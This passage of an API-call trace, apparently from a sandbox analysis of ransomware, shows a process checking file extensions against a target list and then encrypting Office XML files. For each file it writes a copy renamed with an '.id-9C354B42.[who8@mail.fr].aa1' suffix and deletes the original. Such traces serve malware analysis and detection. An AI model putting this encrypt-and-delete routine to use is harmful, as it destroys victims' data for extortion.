Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml")) returned 1 [0211.902] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0211.902] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0211.902] lstrlenW (lpString=".doc") returned 4 [0211.902] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0211.902] lstrlenW (lpString=".docx") returned 5 [0211.902] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0211.902] lstrlenW (lpString=".pdf") returned 4 [0211.902] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0211.902] lstrlenW (lpString=".xls") returned 4 [0211.902] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0211.902] lstrlenW (lpString=".xlsx") returned 5 [0211.902] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0211.902] lstrlenW (lpString=".ppt") returned 4 [0211.902] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0211.902] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0211.902] lstrlenW (lpString=".zip") returned 4 [0211.902] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0211.902] lstrlenW (lpString=".rar") returned 4 [0211.902] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0211.902] lstrlenW (lpString=".bz2") returned 4 [0211.902] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0211.902] lstrlenW (lpString=".7z") returned 3 [0211.902] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0211.902] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0211.902] lstrlenW (lpString=".dbf") returned 4 [0211.902] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0211.902] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0211.902] lstrlenW (lpString=".1cd") returned 4 [0211.902] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0211.902] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0211.902] lstrlenW (lpString=".jpg") returned 4 [0211.902] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0211.903] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0211.903] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0211.903] lstrlenW (lpString=".doc") returned 4 [0211.903] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0211.903] lstrlenW (lpString=".docx") returned 5 [0211.903] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0211.903] lstrlenW (lpString=".pdf") returned 4 [0211.903] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0211.903] lstrlenW (lpString=".xls") returned 4 [0211.903] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0211.903] lstrlenW (lpString=".xlsx") returned 5 [0211.903] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0211.903] lstrlenW (lpString=".ppt") returned 4 [0211.903] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0211.903] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0211.903] lstrlenW (lpString=".zip") returned 4 [0211.903] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0211.903] lstrlenW (lpString=".rar") returned 4 [0211.903] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0211.903] lstrlenW (lpString=".bz2") returned 4 [0211.903] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0211.903] lstrlenW (lpString=".7z") returned 3 [0211.903] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0211.903] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0211.903] lstrlenW (lpString=".dbf") returned 4 [0211.903] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0211.903] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0211.903] lstrlenW (lpString=".1cd") returned 4 [0211.903] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0211.904] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0211.904] lstrlenW (lpString=".jpg") returned 4 [0211.904] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0211.904] lstrcmpiW (lpString1=".XML", lpString2=".aa1") returned 1 [0211.904] lstrlenW (lpString="SETUP.XML") returned 9 [0211.904] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0212.291] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=6241) returned 1 [0212.291] CloseHandle (hObject=0x1fc) returned 1 [0212.291] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml")) returned 0x20 [0212.291] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0212.291] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0212.292] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0212.292] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0212.292] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0212.292] GetLastError () returned 0x0 [0212.292] ReadFile (in: hFile=0x1fc, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x1861, lpOverlapped=0x0) returned 1 [0212.337] WriteFile (in: hFile=0x17c, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0x1870, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0x1870, lpOverlapped=0x0) returned 1 [0212.339] ReadFile (in: hFile=0x1fc, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0212.339] WriteFile (in: hFile=0x17c, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0212.339] SetEndOfFile (hFile=0x17c) returned 1 [0212.409] CloseHandle (hObject=0x17c) returned 1 [0212.409] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0212.409] SetEndOfFile (hFile=0x1fc) returned 1 [0212.410] CloseHandle (hObject=0x1fc) returned 1 [0212.410] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0212.410] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml")) returned 1 [0212.410] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0212.410] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0212.410] lstrlenW (lpString=".doc") returned 4 [0212.410] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0212.410] lstrlenW (lpString=".docx") returned 5 [0212.410] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0212.410] lstrlenW (lpString=".pdf") returned 4 [0212.410] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0212.410] lstrlenW (lpString=".xls") returned 4 [0212.410] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0212.410] lstrlenW (lpString=".xlsx") returned 5 [0212.411] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0212.411] lstrlenW (lpString=".ppt") returned 4 [0212.411] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0212.411] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0212.411] lstrlenW (lpString=".zip") returned 4 [0212.411] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0212.411] lstrlenW (lpString=".rar") returned 4 [0212.411] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0212.411] lstrlenW (lpString=".bz2") returned 4 [0212.411] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0212.411] lstrlenW (lpString=".7z") returned 3 [0212.411] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0212.411] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0212.411] lstrlenW (lpString=".dbf") returned 4 [0212.411] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0212.411] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0212.411] lstrlenW (lpString=".1cd") returned 4 [0212.411] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0212.411] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0212.411] lstrlenW (lpString=".jpg") returned 4 [0212.411] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0212.412] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0212.412] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0212.412] lstrlenW (lpString=".doc") returned 4 [0212.412] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0212.412] lstrlenW (lpString=".docx") returned 5 [0212.412] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0212.412] lstrlenW (lpString=".pdf") returned 4 [0212.412] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0212.412] lstrlenW (lpString=".xls") returned 4 [0212.412] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0212.412] lstrlenW (lpString=".xlsx") returned 5 [0212.412] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0212.412] lstrlenW (lpString=".ppt") returned 4 [0212.412] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0212.412] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0212.412] lstrlenW (lpString=".zip") returned 4 [0212.412] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0212.413] lstrlenW (lpString=".rar") returned 4 [0212.413] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0212.413] lstrlenW (lpString=".bz2") returned 4 [0212.413] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0212.413] lstrlenW (lpString=".7z") returned 3 [0212.413] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0212.413] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0212.413] lstrlenW (lpString=".dbf") returned 4 [0212.413] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0212.413] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0212.413] lstrlenW (lpString=".1cd") returned 4 [0212.413] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0212.413] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0212.413] lstrlenW (lpString=".jpg") returned 4 [0212.413] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0212.413] lstrcmpiW (lpString1=".XML", lpString2=".aa1") returned 1 [0212.413] lstrlenW (lpString="VisiorWW.XML") returned 12 [0212.414] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0212.414] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=8723) returned 1 [0212.414] CloseHandle (hObject=0x1fc) returned 1 [0212.414] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml")) returned 0x20 [0212.414] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0212.414] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0212.414] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0212.414] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0212.415] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0212.417] GetLastError () returned 0x0 [0212.417] ReadFile (in: hFile=0x1fc, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x2213, lpOverlapped=0x0) returned 1 [0212.497] WriteFile (in: hFile=0x204, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0x2220, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0x2220, lpOverlapped=0x0) returned 1 [0212.499] ReadFile (in: hFile=0x1fc, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0212.499] WriteFile (in: hFile=0x204, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0212.499] SetEndOfFile (hFile=0x204) returned 1 [0212.499] CloseHandle (hObject=0x204) returned 1 [0212.499] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0212.499] SetEndOfFile (hFile=0x1fc) returned 1 [0212.500] CloseHandle (hObject=0x1fc) returned 1 [0212.500] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0212.500] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml")) returned 1 [0212.500] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0212.500] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0212.500] lstrlenW (lpString=".doc") returned 4 [0212.501] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0212.501] lstrlenW (lpString=".docx") returned 5 [0212.501] lstrcmpiW (lpString1=".docx", lpString2="W.XML") returned -1 [0212.501] lstrlenW (lpString=".pdf") returned 4 [0212.501] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0212.501] lstrlenW (lpString=".xls") returned 4 [0212.501] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0212.501] lstrlenW (lpString=".xlsx") returned 5 [0212.501] lstrcmpiW (lpString1=".xlsx", lpString2="W.XML") returned -1 [0212.501] lstrlenW (lpString=".ppt") returned 4 [0212.501] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0212.501] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0212.501] lstrlenW (lpString=".zip") returned 4 [0212.501] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0212.501] lstrlenW (lpString=".rar") returned 4 [0212.501] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0212.501] lstrlenW (lpString=".bz2") returned 4 [0212.501] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0212.501] lstrlenW (lpString=".7z") returned 3 [0212.501] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0212.501] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0212.501] lstrlenW (lpString=".dbf") returned 4 [0212.501] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0212.501] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0212.501] lstrlenW (lpString=".1cd") returned 4 [0212.501] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0212.501] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0212.501] lstrlenW (lpString=".jpg") returned 4 [0212.501] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0212.502] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0212.502] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0212.502] lstrlenW (lpString=".doc") returned 4 [0212.502] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0212.502] lstrlenW (lpString=".docx") returned 5 [0212.502] lstrcmpiW (lpString1=".docx", lpString2="W.XML") returned -1 [0212.502] lstrlenW (lpString=".pdf") returned 4 [0212.502] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0212.502] lstrlenW (lpString=".xls") returned 4 [0212.502] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0212.502] lstrlenW (lpString=".xlsx") returned 5 [0212.502] lstrcmpiW (lpString1=".xlsx", lpString2="W.XML") returned -1 [0212.502] lstrlenW (lpString=".ppt") returned 4 [0212.502] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0212.502] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0212.502] lstrlenW (lpString=".zip") returned 4 [0212.502] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0212.502] lstrlenW (lpString=".rar") returned 4 [0212.502] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0212.502] lstrlenW (lpString=".bz2") returned 4 [0212.502] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0212.502] lstrlenW (lpString=".7z") returned 3 [0212.502] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0212.502] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0212.502] lstrlenW (lpString=".dbf") returned 4 [0212.502] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0212.502] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0212.502] lstrlenW (lpString=".1cd") returned 4 [0212.502] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0212.503] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0212.503] lstrlenW (lpString=".jpg") returned 4 [0212.503] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0212.503] lstrcmpiW (lpString1=".XML", lpString2=".aa1") returned 1 [0212.503] lstrlenW (lpString="DATES.XML") returned 9 [0212.503] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0212.503] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=8918) returned 1 [0212.503] CloseHandle (hObject=0x1fc) returned 1 [0212.505] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml")) returned 0x20 [0212.506] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0212.506] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0212.506] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0212.506] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0212.506] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0212.567] GetLastError () returned 0x0 [0212.567] ReadFile (in: hFile=0x1fc, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x22d6, lpOverlapped=0x0) returned 1 [0213.757] WriteFile (in: hFile=0x164, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0x22e0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0x22e0, lpOverlapped=0x0) returned 1 [0213.759] ReadFile (in: hFile=0x1fc, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0213.761] WriteFile (in: hFile=0x164, 